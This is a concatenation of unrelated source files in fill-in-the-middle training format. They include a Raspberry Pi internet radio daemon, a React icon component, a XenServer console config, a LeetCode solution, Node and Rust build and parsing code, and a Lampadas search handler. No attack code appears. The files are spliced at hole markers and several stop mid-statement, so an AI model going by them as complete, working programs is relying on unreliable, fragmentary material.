volChange = False time.sleep(0.1) else: DisplayExitMessage(lcd) elif switch == right_switch: log.message("RIGHT switch" ,log.DEBUG) if display_mode != radio.MODE_SLEEP: if display_mode == radio.MODE_OPTIONS: toggle_option(radio,lcd,UP) interrupt = True elif display_mode == radio.MODE_SEARCH and input_source == radio.PLAYER: wait = 0.5 while GPIO.input(right_switch): radio.findNextArtist(UP) display_search(lcd,radio) time.sleep(wait) wait = 0.1 interrupt = True else: # Increase volume volChange = True while volChange: # Mute function (Both buttons depressed) if GPIO.input(left_switch): radio.mute() lcd.line2("Mute") time.sleep(2) volChange = False interrupt = True else: volume = radio.increaseVolume() displayVolume(lcd,radio) volChange = GPIO.input(right_switch) if volume >= 100: volChange = False time.sleep(0.1) else: DisplayExitMessage(lcd) # Reset switch and return interrupt radio.setSwitch(0) return interrupt # Cycle through the options # Only display reload the library if in PLAYER mode def cycle_options(radio,direction): option = radio.getOption() log.message("cycle_options direction:" + str(direction) + " option: " + str(option), log.DEBUG) if direction == UP: option += 1 else: option -= 1 # Don;t display reload if not player mode source = radio.getSource() if option == radio.RELOADLIB: if source != radio.PLAYER: if direction == UP: option = option+1 else: option = option-1 if option == radio.STREAMING: if not radio.streamingAvailable(): if direction == UP: option = option+1 else: option = option-1 if option > radio.OPTION_LAST: option = radio.RANDOM elif option < 0: if source == radio.PLAYER: option = radio.OPTION_LAST else: option = radio.OPTION_LAST-1 radio.setOption(option) radio.optionChangedTrue() return # Toggle or change options def toggle_option(radio,lcd,direction): option = radio.getOption() log.message("toggle_option option="+ str(option), log.DEBUG) # Get switches configuration up_switch = radio.getSwitchGpio("up_switch") down_switch = radio.getSwitchGpio("down_switch") left_switch = radio.getSwitchGpio("left_switch") right_switch = radio.getSwitchGpio("right_switch") menu_switch = radio.getSwitchGpio("menu_switch") if option == radio.RANDOM: if radio.getRandom(): radio.randomOff() else: radio.randomOn() elif option == radio.CONSUME: if radio.getSource() == radio.PLAYER: if radio.getConsume(): radio.consumeOff() else: radio.consumeOn() else: lcd.line2("Not allowed") time.sleep(2) elif option == radio.REPEAT: if radio.getRepeat(): radio.repeatOff() else: radio.repeatOn() elif option == radio.TIMER: TimerChange = True # Buttons held in if radio.getTimer(): while TimerChange: if direction == UP: radio.incrementTimer(1) lcd.line2("Timer " + radio.getTimerString()) TimerChange = GPIO.input(right_switch) else: radio.decrementTimer(1) lcd.line2("Timer " + radio.getTimerString()) TimerChange = GPIO.input(left_switch) time.sleep(0.1) else: radio.timerOn() elif option == radio.ALARM: radio.alarmCycle(direction) elif option == radio.ALARMSETHOURS or option == radio.ALARMSETMINS: # Buttons held in AlarmChange = True twait = 0.4 value = 1 unit = " mins" if option == radio.ALARMSETHOURS: value = 60 unit = " hours" while AlarmChange: if direction == UP: radio.incrementAlarm(value) lcd.line2("Alarm " + radio.getAlarmTime() + unit) time.sleep(twait) AlarmChange = GPIO.input(right_switch) else: radio.decrementAlarm(value) lcd.line2("Alarm " + radio.getAlarmTime() + unit) time.sleep(twait) AlarmChange = GPIO.input(left_switch) twait = 0.1 elif option == radio.STREAMING: radio.toggleStreaming() elif option == radio.RELOADLIB: if radio.getUpdateLibrary(): radio.setUpdateLibOff() else: radio.setUpdateLibOn() radio.optionChangedTrue() return # Update music library def update_library(lcd,radio): log.message("Updating library", log.INFO) lcd.line1("Updating") lcd.line2("library") radio.updateLibrary() return # Reload if new source selected (RADIO or PLAYER) def reload(lcd,radio): lcd.line1("Loading") source = radio.getSource() if source == radio.RADIO: lcd.line2("stations") dirList=os.listdir(PlaylistsDirectory) for fname in dirList: if os.path.isfile(fname): continue log.message("Loading " + fname, log.DEBUG) lcd.line2(fname) time.sleep(0.1) radio.loadStations() elif source == radio.PLAYER: lcd.line2("media") radio.loadMedia() current = radio.execMpcCommand("current") if len(current) < 1: update_library(lcd,radio) return # Display the RSS feed def display_rss(lcd,rss): rss_line = rss.getFeed() lcd.setScrollSpeed(0.2) # Scroll RSS faster lcd.scroll2(rss_line,interrupt) return # Display the currently playing station or track def display_current(lcd,radio): current_id = radio.getCurrentID() source = radio.getSource() if source == radio.RADIO: current = radio.getCurrentStation() else: current_artist = radio.getCurrentArtist() index = radio.getSearchIndex() current_artist = radio.getCurrentArtist() track_name = radio.getCurrentTitle() current = current_artist + " - " + track_name # Display any stream error leng = len(current) if radio.gotError(): errorStr = radio.getErrorString() lcd.scroll2(errorStr,interrupt) radio.clearError() else: leng = len(current) if leng > 16: lcd.scroll2(current[0:160],interrupt) elif leng < 1: lcd.line2("No input!") time.sleep(1) radio.play(1) # Reset station or track else: lcd.line2(current) return # Get currently playing station or track number from MPC def get_current_id(): current_id = 1 status = radio.execMpcCommand("status | grep \"\[\" ") if len(status) > 1: x = status.index('#')+1 y = status.index('/') current_id = int(status[x:y]) exec_cmd ("echo " + str(current_id) + " > " + CurrentFile) return current_id # Get the last ID stored in /var/lib/radiod def get_stored_id(current_file): current_id = 5 if os.path.isfile(current_file): current_id = int(exec_cmd("cat " + current_file) ) return current_id # Execute system command def exec_cmd(cmd): p = os.popen(cmd) result = p.readline().rstrip('\n') return result # Get list of tracks or stations def get_mpc_list(cmd): list = [] line = "" p = os.popen("/usr/bin/mpc " + cmd) while True: line = p.readline().strip('\n') if line.__len__() < 1: break list.append(line) return list # Source selection display def display_source_select(lcd,radio): lcd.line1("Source:") source = radio.getSource() if source == radio.RADIO: lcd.line2("Radio") elif source == radio.PLAYER: lcd.line2("Media") return # Display search (Station or Track) def display_search(lcd,radio): index = radio.getSearchIndex() source = radio.getSource() if source == radio.PLAYER: current_artist = radio.getArtistName(index) lcd.scroll1("(" + str(index+1) + ")" + current_artist[0:160],interrupt) current_track = radio.getTrackNameByIndex(index) lcd.scroll2(current_track,interrupt) else: current = index+1 lcd.line1("Search") current_station = radio.getStationName(index) msg = current_station[0:40] + '('+ str(current) + ')' lcd.scroll2(msg,interrupt) return # Display if in sleep def display_sleep(lcd,radio): message = 'Sleep mode' if radio.alarmActive(): message = "Alarm " + radio.getAlarmTime() lcd.line2(message) return # Unmute radio and get stored volume def unmuteRadio(lcd,radio): radio.unmute() displayVolume(lcd,radio) return # Display volume and streamin on indicator def displayVolume(lcd,radio): volume = radio.getVolume() msg = "Vol " + str(volume) if radio.getStreaming(): msg = msg + ' *' lcd.line2(msg) return # Options menu def display_options(lcd,radio): option = radio.getOption() if option != radio.TIMER and option != radio.ALARM \ and option != radio.ALARMSETHOURS and option != radio.ALARMSETMINS : lcd.line1("Menu:") if option == radio.RANDOM: if radio.getRandom(): lcd.scroll2("Random on", interrupt) else: lcd.scroll2("Random off", interrupt) elif option == radio.CONSUME: if radio.getConsume(): lcd.scroll2("Consume on", interrupt) else: lcd.scroll2("Consume off", interrupt) elif option == radio.REPEAT: if radio.getRepeat(): lcd.scroll2("Repeat on", interrupt) else: lcd.scroll2("Repeat off", interrupt) elif option == radio.TIMER: lcd.line1("Timer:") if radio.getTimer(): lcd.line2(radio.getTimerString()) else: lcd.line2("off") elif option == radio.ALARM: alarmString = "off" lcd.line1("Alarm:") alarmType = radio.getAlarmType() if alarmType == radio.ALARM_ON: alarmString = "on" elif alarmType == radio.ALARM_REPEAT: alarmString = "repeat" elif alarmType == radio.ALARM_WEEKDAYS: alarmString = "Weekdays" lcd.line2(alarmString) elif option == radio.ALARMSETHOURS: lcd.line1("Set hour") lcd.line2(radio.getAlarmTime()) elif option == radio.ALARMSETMINS: lcd.line1("Set mins") lcd.line2(radio.getAlarmTime()) elif option == radio.STREAMING: if radio.getStreaming(): lcd.scroll2("Streamng on", interrupt) else: lcd.scroll2("Streaming off", interrupt) elif option == radio.RELOADLIB: if radio.getUpdateLibrary(): lcd.scroll2("Update library:Yes", interrupt) else: lcd.scroll2("Update library:No", interrupt) return # Display wake up message def displayWakeUpMessage(lcd): message = 'Good day' t = datetime.datetime.now() if t.hour >= 0 and t.hour < 12: message = 'Good morning' if t.hour >= 12 and t.hour < 18: message = 'Good afternoon' if t.hour >= 16 and t.hour <= 23: message = 'Good evening' lcd.scroll2(message, interrupt) time.sleep(3) return # Display shutdown messages def displayShutdown(lcd): lcd.line1("Stopping radio") radio.execCommand("service mpd stop") radio.execCommand("shutdown -h now") lcd.line2("Shutdown") time.sleep(2) lcd.line1("Stopped") lcd.line2("Turn off") return # Display time and timer/alarm def displayTime(lcd,radio): dateFormat = "%H:%M" todaysdate = strftime(dateFormat) timenow = strftime("%H:%M") message = todaysdate if radio.getTimer(): message = timenow + " " + radio.getTimerString() if radio.alarmActive(): message = message + " " + radio.getAlarmTime() lcd.line1(message) return # Sleep exit message def DisplayExitMessage(lcd): lcd.line1("Hit menu") lcd.line2("to exit") time.sleep(1) return # Check Timer fired def checkTimer(radio): interrupt = False if radio.fireTimer(): log.message("Timer fired", log.INFO) radio.mute() radio.setDisplayMode(radio.MODE_SLEEP) interrupt = True return interrupt # Check state (play or pause) # Returns paused True if paused def checkState(radio): paused = False display_mode = radio.getDisplayMode() state = radio.getState() radio.getVolume() if state == 'pause': paused = True if not radio.muted(): if radio.alarmActive() and not radio.getTimer(): radio.setDisplayMode(radio.MODE_SLEEP) radio.mute() elif state == 'play': if radio.muted(): unmuteRadio(lcd,radio) radio.setDisplayMode(radio.MODE_TIME) return paused ### Main routine ### if __name__ == "__main__": daemon = MyDaemon('/var/run/radiod.pid') if len(sys.argv) == 2: if 'start' == sys.argv[1]: daemon.start() elif 'stop' == sys.argv[1]: os.system("service mpd stop") daemon.stop() elif 'restart' == sys.argv[1]: daemon.restart() elif 'nodaemon' == sys.argv[1]: daemon.nodaemon() elif 'status' == sys.argv[1]: daemon.status() elif 'version' == sys.argv[1]: print "Version " + radio.getVersion() else: print "Unknown command: " + sys.argv[1] sys.exit(2) sys.exit(0) else: print "usage: %s start|stop|restart|status|version" % sys.argv[0] sys.exit(2) # End of script<|fim▁end|>
if len(ipaddr) < 1:
<|file_name|>NotificationIcon.tsx<|end_file_name|><|fim▁begin|>import * as React from 'react'; import { INotificationIconProps, DefaultIconNumberStyleObject, NotificationBubbleStyleObject} from './NotificationIcon.Props'; import { Icon } from '../Icon/Icon'; import * as classNames from 'classnames'; import './NotificationIcon.scss'; export const NotificationIcon: (props: INotificationIconProps) => JSX.Element = (props: INotificationIconProps) => { let iconClassName = classNames( 'icon-with-notification', [props.className]); const numberString = props.notificationNumber === undefined || props.notificationNumber === 0 ? '' : props.notificationNumber < 100 ? props.notificationNumber.toLocaleString() : '99+'; const defaultStyleObject = DefaultIconNumberStyleObject(props.iconSize, numberString.length); let styleObject: NotificationBubbleStyleObject = { ...defaultStyleObject}; if (props.notificationBubbleStyleObject) { if (props.notificationBubbleStyleObject.containerStyleObject) { Object.assign(styleObject.containerStyleObject, props.notificationBubbleStyleObject.containerStyleObject); } if (props.notificationBubbleStyleObject.bubbleStyleObject) { Object.assign(styleObject.bubbleStyleObject, props.notificationBubbleStyleObject.bubbleStyleObject); } if (props.notificationBubbleStyleObject.numberStyleObject) { Object.assign(styleObject.numberStyleObject, props.notificationBubbleStyleObject.numberStyleObject); } } return ( <div style={styleObject.containerStyleObject as React.CSSProperties} className={props.containerClassName}> <Icon iconName={props.iconName} className={iconClassName} iconSize={props.iconSize} width={props.width} height={props.height}></Icon> {(numberString !== '') &&<|fim▁hole|> <div style={styleObject.bubbleStyleObject as React.CSSProperties} className={props.notificationBubbleClassName}> <div style={styleObject.numberStyleObject as React.CSSProperties} className={props.notificationNumberClassName}> {numberString} </div> </div> } </div> ); };<|fim▁end|>
<|file_name|>XSConsoleConfig.py<|end_file_name|><|fim▁begin|># Copyright (c) 2007-2009 Citrix Systems Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. <|fim▁hole|>import os, sys class Config: instance = None def __init__(self): self.colours = { # Colours specified as name : (red, green, blue), value range 0..999 'fg_dark' : (400, 400, 360), 'fg_normal' : (600, 600, 550), 'fg_bright' : (999, 999, 800), 'bg_dark' : (0, 0, 0), 'bg_normal' : (0, 168, 325), 'bg_bright' : (0, 200, 400), } self.ftpserver = '' @classmethod def Inst(cls): if cls.instance is None: cls.instance = Config() return cls.instance @classmethod def Mutate(cls, inConfig): cls.instance = inConfig def Colour(self, inName): return self.colours[inName] def FTPServer(self): return self.ftpserver def BrandingMap(self): return {} def AllShellsTimeout(self): return True def DisplaySerialNumber(self): return True def DisplayAssetTag(self): return True def BMCName(self): return 'BMC' def FirstBootEULAs(self): # Subclasses in XSConsoleConfigOEM can add their EULAs to this array return ['/EULA'] # Import a more specific configuration if available if os.path.isfile(sys.path[0]+'/XSConsoleConfigOEM.py'): import XSConsoleConfigOEM<|fim▁end|>
<|file_name|>35-search_insert_position.py<|end_file_name|><|fim▁begin|># 二分查找,这题应该归为 easy class Solution(object): def searchInsert(self, nums, target): """ :type nums: List[int] :type target: int :rtype: int """ end_index = len(nums)-1 start_index = 0 while True: if start_index > len(nums)-1: return len(nums) if end_index < 0: return 0 if start_index > end_index: return start_index index = (start_index + end_index)/2<|fim▁hole|> return index if nums[index] > target: end_index = index-1 else: start_index = index+1<|fim▁end|>
if nums[index] == target:
<|file_name|>parse-content.js<|end_file_name|><|fim▁begin|>var fs = require('fs'), eol = require('eol'), path = require('path'), mkdirp = require('mkdirp'), watch = require('watch'); var specialFiles = { 'welcome.md': function(fileContent, consoleContent) { consoleContent.welcome = processFileContent(fileContent); }, 'config.json': function(fileContent, consoleContent) { var config = JSON.parse(fileContent); consoleContent.executables = config.executables; consoleContent.__config = config; } }; function processFileContent(fileContent) { fileContent = eol.lf(fileContent); fileContent = new Buffer(fileContent).toString('base64'); return fileContent; } function createContentFile(fileName, fileContent) { var parsed = path.parse(fileName); return { content: processFileContent(fileContent), base: fileName, name: parsed.name, ext: parsed.ext }; } function hasExecutableForFile(executables, fileName) { if (!executables) { return false; } for (var i in executables) { if (executables[i].file === fileName) { return true; } } return false; } function setFilePermissions(files, config) { if (!files) { return; } for (var fileName in files) { var file = files[fileName]; if (!config.noRead || config.noRead.indexOf(file.base) === -1) { file.readable = true; } <|fim▁hole|> } if (hasExecutableForFile(config.executables, file.base)) { file.executable = true; } } } /** * This badass here reads all files from the console folders and creates the content.json file. */ function createConsoleContent() { var srcPath = './src/content'; var targetPath = './dist/content'; var consoleFolders = fs.readdirSync(srcPath); if (!consoleFolders) { return; } consoleFolders.forEach(function(folderName) { var consoleSrcPath = srcPath + '/' + folderName; var consoleTargetPath = targetPath + '/' + folderName; var stats = fs.statSync(consoleSrcPath); if (!stats.isDirectory()) { return; } var files = fs.readdirSync(consoleSrcPath); if (!files || files.length === 0) { console.log('No files found for ' + consoleSrcPath); } else { console.log('Processing content ' + folderName); var consoleContent = { files: {} }; files.forEach(function(file) { var fileContent = fs.readFileSync(consoleSrcPath + '/' + file, 'utf8'); if (specialFiles[file]) { specialFiles[file](fileContent, consoleContent); } else { consoleContent.files[file] = createContentFile(file, fileContent); } }); if (consoleContent.__config) { setFilePermissions(consoleContent.files, consoleContent.__config); delete consoleContent.__config; } mkdirp.sync(consoleTargetPath); fs.writeFileSync(consoleTargetPath + '/content.json', JSON.stringify(consoleContent), 'utf8'); } }); } if (process.argv.indexOf('--watching') !== -1) { watch.watchTree('./src/content', function() { createConsoleContent(); }); } else { createConsoleContent(); }<|fim▁end|>
if (config.writeable && config.writeable.indexOf(file.base) !== -1) { file.writeable = true;
<|file_name|>processBinFiles.py<|end_file_name|><|fim▁begin|>#!/usr/bin/python import os, subprocess amsDecode = "/usr/local/bin/amsDecode" path = "/usr/local/bin" specDataFile = "specData.csv" f = open("processFile.log", "w") if os.path.exists(specDataFile): os.remove(specDataFile) for fileName in os.listdir('.'): if fileName.endswith('.bin'): #print 'file :' + fileName cmnd = [amsDecode, fileName, "-t -95", "-b", "68", "468" ]<|fim▁hole|><|fim▁end|>
subprocess.call(cmnd,stdout=f) f.close
<|file_name|>utils.py<|end_file_name|><|fim▁begin|># # Copyright (C) 2014 Dell, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import logging import threading import uuid import dcm.agent.utils as agent_utils from dcm.agent.events.globals import global_space as dcm_events _g_logger = logging.getLogger(__name__) _g_message_uuid = str(uuid.uuid4()).split("-")[0]<|fim▁hole|>_g_guid_lock = threading.RLock() def new_message_id(): # note: using uuid here caused deadlock in tests global _g_message_id_count global _g_message_uuid _g_guid_lock.acquire() try: _g_message_id_count = _g_message_id_count + 1 finally: _g_guid_lock.release() return _g_message_uuid + str(_g_message_id_count) class MessageTimer(object): def __init__(self, timeout, callback, message_doc): self._send_doc = message_doc self._timeout = timeout self._cb = callback self._timer = None self._lock = threading.RLock() self.message_id = message_doc['message_id'] def lock(self): self._lock.acquire() def unlock(self): self._lock.release() @agent_utils.class_method_sync def send(self, conn): _g_logger.info("Resending reply to %s" % self._send_doc["request_id"]) self._send_doc['entity'] = "timer" conn.send(self._send_doc) self._timer = dcm_events.register_callback( self._cb, args=[self], delay=self._timeout) @agent_utils.class_method_sync def cancel(self): if self._timer is None: return dcm_events.cancel_callback(self._timer) self._timer = None<|fim▁end|>
_g_message_id_count = 0
<|file_name|>StringLiteral.java<|end_file_name|><|fim▁begin|>package org.bimserver.database.query.literals; /****************************************************************************** * Copyright (C) 2009-2019 BIMserver.org<|fim▁hole|> * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see {@literal<http://www.gnu.org/licenses/>}. *****************************************************************************/ import org.bimserver.database.query.conditions.LiteralCondition; public class StringLiteral extends LiteralCondition { private final String value; public StringLiteral(String value) { this.value = value; } public Object getValue() { return value; } }<|fim▁end|>
* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the
<|file_name|>api_metadata.rs<|end_file_name|><|fim▁begin|>//! Details of the `metadata` section of the procedural macro. use quote::ToTokens; use syn::{ braced, parse::{Parse, ParseStream}, Ident, LitBool, LitStr, Token, }; use super::{auth_scheme::AuthScheme, util, version::MatrixVersionLiteral}; mod kw { syn::custom_keyword!(metadata); syn::custom_keyword!(description); syn::custom_keyword!(method); syn::custom_keyword!(name); syn::custom_keyword!(unstable_path); syn::custom_keyword!(r0_path); syn::custom_keyword!(stable_path); syn::custom_keyword!(rate_limited); syn::custom_keyword!(authentication); syn::custom_keyword!(added); syn::custom_keyword!(deprecated); syn::custom_keyword!(removed); } /// The result of processing the `metadata` section of the macro. pub struct Metadata { /// The description field. pub description: LitStr, /// The method field. pub method: Ident, /// The name field. pub name: LitStr, /// The unstable path field. pub unstable_path: Option<EndpointPath>, /// The pre-v1.1 path field. pub r0_path: Option<EndpointPath>, /// The stable path field. pub stable_path: Option<EndpointPath>, /// The rate_limited field. pub rate_limited: LitBool, /// The authentication field. pub authentication: AuthScheme, /// The added field. pub added: Option<MatrixVersionLiteral>, /// The deprecated field. pub deprecated: Option<MatrixVersionLiteral>, /// The removed field. pub removed: Option<MatrixVersionLiteral>, } fn set_field<T: ToTokens>(field: &mut Option<T>, value: T) -> syn::Result<()> { match field { Some(existing_value) => { let mut error = syn::Error::new_spanned(value, "duplicate field assignment"); error.combine(syn::Error::new_spanned(existing_value, "first one here")); Err(error) } None => { *field = Some(value); Ok(()) } } } impl Parse for Metadata { fn parse(input: ParseStream<'_>) -> syn::Result<Self> { let metadata_kw: kw::metadata = input.parse()?; let _: Token![:] = input.parse()?; let field_values; braced!(field_values in input); let field_values = field_values.parse_terminated::<FieldValue, Token![,]>(FieldValue::parse)?; let mut description = None; let mut method = None; let mut name = None; let mut unstable_path = None; let mut r0_path = None; let mut stable_path = None; let mut rate_limited = None; let mut authentication = None; let mut added = None; let mut deprecated = None; let mut removed = None; for field_value in field_values { match field_value { FieldValue::Description(d) => set_field(&mut description, d)?, FieldValue::Method(m) => set_field(&mut method, m)?, FieldValue::Name(n) => set_field(&mut name, n)?, FieldValue::UnstablePath(p) => set_field(&mut unstable_path, p)?, FieldValue::R0Path(p) => set_field(&mut r0_path, p)?, FieldValue::StablePath(p) => set_field(&mut stable_path, p)?, FieldValue::RateLimited(rl) => set_field(&mut rate_limited, rl)?, FieldValue::Authentication(a) => set_field(&mut authentication, a)?, FieldValue::Added(v) => set_field(&mut added, v)?, FieldValue::Deprecated(v) => set_field(&mut deprecated, v)?, FieldValue::Removed(v) => set_field(&mut removed, v)?, } } let missing_field = |name| syn::Error::new_spanned(metadata_kw, format!("missing field `{}`", name)); let stable_or_r0 = stable_path.as_ref().or(r0_path.as_ref()); if let Some(path) = stable_or_r0 { if added.is_none() { return Err(syn::Error::new_spanned( path, "stable path was defined, while `added` version was not defined", )); } } if let Some(deprecated) = &deprecated { if added.is_none() { return Err(syn::Error::new_spanned( deprecated, "deprecated version is defined while added version is not defined", )); } } // note: It is possible that matrix will remove endpoints in a single version, while not // having a deprecation version inbetween, but that would not be allowed by their own // deprecation policy, so lets just assume there's always a deprecation version before a // removal one. // // If matrix does so anyways, we can just alter this. if let Some(removed) = &removed { if deprecated.is_none() { return Err(syn::Error::new_spanned( removed, "removed version is defined while deprecated version is not defined", )); } } if let Some(added) = &added { if stable_or_r0.is_none() { return Err(syn::Error::new_spanned( added, "added version is defined, but no stable or r0 path exists", )); } } if let Some(r0) = &r0_path { let added = added.as_ref().expect("we error if r0 or stable is defined without added"); if added.major.get() == 1 && added.minor > 0 { return Err(syn::Error::new_spanned( r0, "r0 defined while added version is newer than v1.0", )); } if stable_path.is_none() { return Err(syn::Error::new_spanned(r0, "r0 defined without stable path")); } if !r0.value().contains("/r0/") { return Err(syn::Error::new_spanned(r0, "r0 endpoint does not contain /r0/")); } } if let Some(stable) = &stable_path { if stable.value().contains("/r0/") { return Err(syn::Error::new_spanned( stable, "stable endpoint contains /r0/ (did you make a copy-paste error?)", )); } } if unstable_path.is_none() && r0_path.is_none() && stable_path.is_none() { return Err(syn::Error::new_spanned( metadata_kw, "need to define one of [r0_path, stable_path, unstable_path]", )); } Ok(Self { description: description.ok_or_else(|| missing_field("description"))?, method: method.ok_or_else(|| missing_field("method"))?, name: name.ok_or_else(|| missing_field("name"))?, unstable_path, r0_path, stable_path, rate_limited: rate_limited.ok_or_else(|| missing_field("rate_limited"))?, authentication: authentication.ok_or_else(|| missing_field("authentication"))?, added, deprecated, removed, }) } } enum Field { Description, Method, Name, UnstablePath, R0Path, StablePath, RateLimited, Authentication, Added, Deprecated, Removed, } impl Parse for Field { fn parse(input: ParseStream<'_>) -> syn::Result<Self> { let lookahead = input.lookahead1(); if lookahead.peek(kw::description) { let _: kw::description = input.parse()?; Ok(Self::Description) } else if lookahead.peek(kw::method) { let _: kw::method = input.parse()?; Ok(Self::Method) } else if lookahead.peek(kw::name) { let _: kw::name = input.parse()?; Ok(Self::Name) } else if lookahead.peek(kw::unstable_path) { let _: kw::unstable_path = input.parse()?; Ok(Self::UnstablePath) } else if lookahead.peek(kw::r0_path) { let _: kw::r0_path = input.parse()?; Ok(Self::R0Path) } else if lookahead.peek(kw::stable_path) { let _: kw::stable_path = input.parse()?; Ok(Self::StablePath) } else if lookahead.peek(kw::rate_limited) { let _: kw::rate_limited = input.parse()?; Ok(Self::RateLimited) } else if lookahead.peek(kw::authentication) { let _: kw::authentication = input.parse()?; Ok(Self::Authentication) } else if lookahead.peek(kw::added) { let _: kw::added = input.parse()?; Ok(Self::Added) } else if lookahead.peek(kw::deprecated) { let _: kw::deprecated = input.parse()?; Ok(Self::Deprecated) } else if lookahead.peek(kw::removed) { let _: kw::removed = input.parse()?; Ok(Self::Removed) } else { Err(lookahead.error()) } } } enum FieldValue { Description(LitStr), Method(Ident), Name(LitStr), UnstablePath(EndpointPath), R0Path(EndpointPath), StablePath(EndpointPath), RateLimited(LitBool), Authentication(AuthScheme), Added(MatrixVersionLiteral), Deprecated(MatrixVersionLiteral), Removed(MatrixVersionLiteral), } impl Parse for FieldValue { fn parse(input: ParseStream<'_>) -> syn::Result<Self> { let field: Field = input.parse()?; let _: Token![:] = input.parse()?; Ok(match field { Field::Description => Self::Description(input.parse()?), Field::Method => Self::Method(input.parse()?), Field::Name => Self::Name(input.parse()?), Field::UnstablePath => Self::UnstablePath(input.parse()?), Field::R0Path => Self::R0Path(input.parse()?), Field::StablePath => Self::StablePath(input.parse()?), Field::RateLimited => Self::RateLimited(input.parse()?), Field::Authentication => Self::Authentication(input.parse()?), Field::Added => Self::Added(input.parse()?), Field::Deprecated => Self::Deprecated(input.parse()?), Field::Removed => Self::Removed(input.parse()?), }) } } #[derive(Clone)] pub struct EndpointPath(LitStr); impl EndpointPath { pub fn value(&self) -> String { self.0.value() } } impl Parse for EndpointPath { fn parse(input: ParseStream<'_>) -> syn::Result<Self> { let path: LitStr = input.parse()?; if util::is_valid_endpoint_path(&path.value()) { Ok(Self(path)) } else { Err(syn::Error::new_spanned( &path, "path may only contain printable ASCII characters with no spaces", )) } }<|fim▁hole|> fn to_tokens(&self, tokens: &mut proc_macro2::TokenStream) { self.0.to_tokens(tokens) } }<|fim▁end|>
} impl ToTokens for EndpointPath {
<|file_name|>constants.py<|end_file_name|><|fim▁begin|>#!/usr/bin/env python # -*- coding: utf-8 -*- """ **constants.py** **Platform:** Windows, Linux, Mac Os X. **Description:** Defines **Foundations** package default constants through the :class:`Constants` class. **Others:** """ from __future__ import unicode_literals import os import platform import foundations __author__ = "Thomas Mansencal" __copyright__ = "Copyright (C) 2008 - 2014 - Thomas Mansencal" __license__ = "GPL V3.0 - http://www.gnu.org/licenses/" __maintainer__ = "Thomas Mansencal" __email__ = "[email protected]" __status__ = "Production" __all__ = ["Constants"] class Constants(): """ Defines **Foundations** package default constants. """ application_name = "Foundations" """ :param application_name: Package Application name. :type application_name: unicode """ major_version = "2" """ :param major_version: Package major version. :type major_version: unicode """ minor_version = "1" """<|fim▁hole|> """ :param change_version: Package change version. :type change_version: unicode """ version = ".".join((major_version, minor_version, change_version)) """ :param version: Package version. :type version: unicode """ logger = "Foundations_Logger" """ :param logger: Package logger name. :type logger: unicode """ verbosity_level = 3 """ :param verbosity_level: Default logging verbosity level. :type verbosity_level: int """ verbosity_labels = ("Critical", "Error", "Warning", "Info", "Debug") """ :param verbosity_labels: Logging verbosity labels. :type verbosity_labels: tuple """ logging_default_formatter = "Default" """ :param logging_default_formatter: Default logging formatter name. :type logging_default_formatter: unicode """ logging_separators = "*" * 96 """ :param logging_separators: Logging separators. :type logging_separators: unicode """ default_codec = "utf-8" """ :param default_codec: Default codec. :type default_codec: unicode """ codec_error = "ignore" """ :param codec_error: Default codec error behavior. :type codec_error: unicode """ application_directory = os.sep.join(("Foundations", ".".join((major_version, minor_version)))) """ :param application_directory: Package Application directory. :type application_directory: unicode """ if platform.system() == "Windows" or platform.system() == "Microsoft" or platform.system() == "Darwin": provider_directory = "HDRLabs" """ :param provider_directory: Package provider directory. :type provider_directory: unicode """ elif platform.system() == "Linux": provider_directory = ".HDRLabs" """ :param provider_directory: Package provider directory. :type provider_directory: unicode """ null_object = "None" """ :param null_object: Default null object string. :type null_object: unicode """<|fim▁end|>
:param minor_version: Package minor version. :type minor_version: unicode """ change_version = "0"
<|file_name|>insert_destination_data.py<|end_file_name|><|fim▁begin|><|fim▁hole|>from main.management.commands._private import SharedCommand from main.models import Destination class Command(SharedCommand): model = Destination<|fim▁end|>
<|file_name|>search.py<|end_file_name|><|fim▁begin|>#!/usr/bin/python # # This file is part of the Lampadas Documentation System. # # Copyright (c) 2000, 2001, 2002 David Merrill <[email protected]>. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # <|fim▁hole|># This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # from Globals import * from globals import * from Config import config from HTML import page_factory from Tables import tables from Sessions import sessions from URLParse import URI from Log import log from mod_python import apache import os from CoreDM import dms def document(req, title='', short_title='', pub_status_code='', type_code='', topic_code='', username='', maintained='', maintainer_wanted='', lang='', review_status_code='', tech_review_status_code='', pub_date='', last_update='', tickle_date='', isbn='', encoding='', rating='', format_code='', dtd_code='', license_code='', copyright_holder='', sk_seriesid='', abstract='', short_desc='', collection_code='', columns={}, layout='compact' ): """ Returns the results of a document search. """ # Read session state sessions.get_session(req) uri = URI(req.uri) page = dms.page.get_by_id('doctable') # serve search results by manually replacing the # doctable here instead of during the regular call. # It's a bit ugly, but works. # We store and restore the contents to avoid doing # a copy.deepcopy() which I haven't tested but imagine to # be rather expensive. -- DCM save_page = page.page[uri.lang] table = tables.doctable(uri, title = title, short_title = short_title, pub_status_code = pub_status_code, type_code = type_code, topic_code = topic_code, username = username, maintained = maintained, maintainer_wanted = maintainer_wanted, lang = 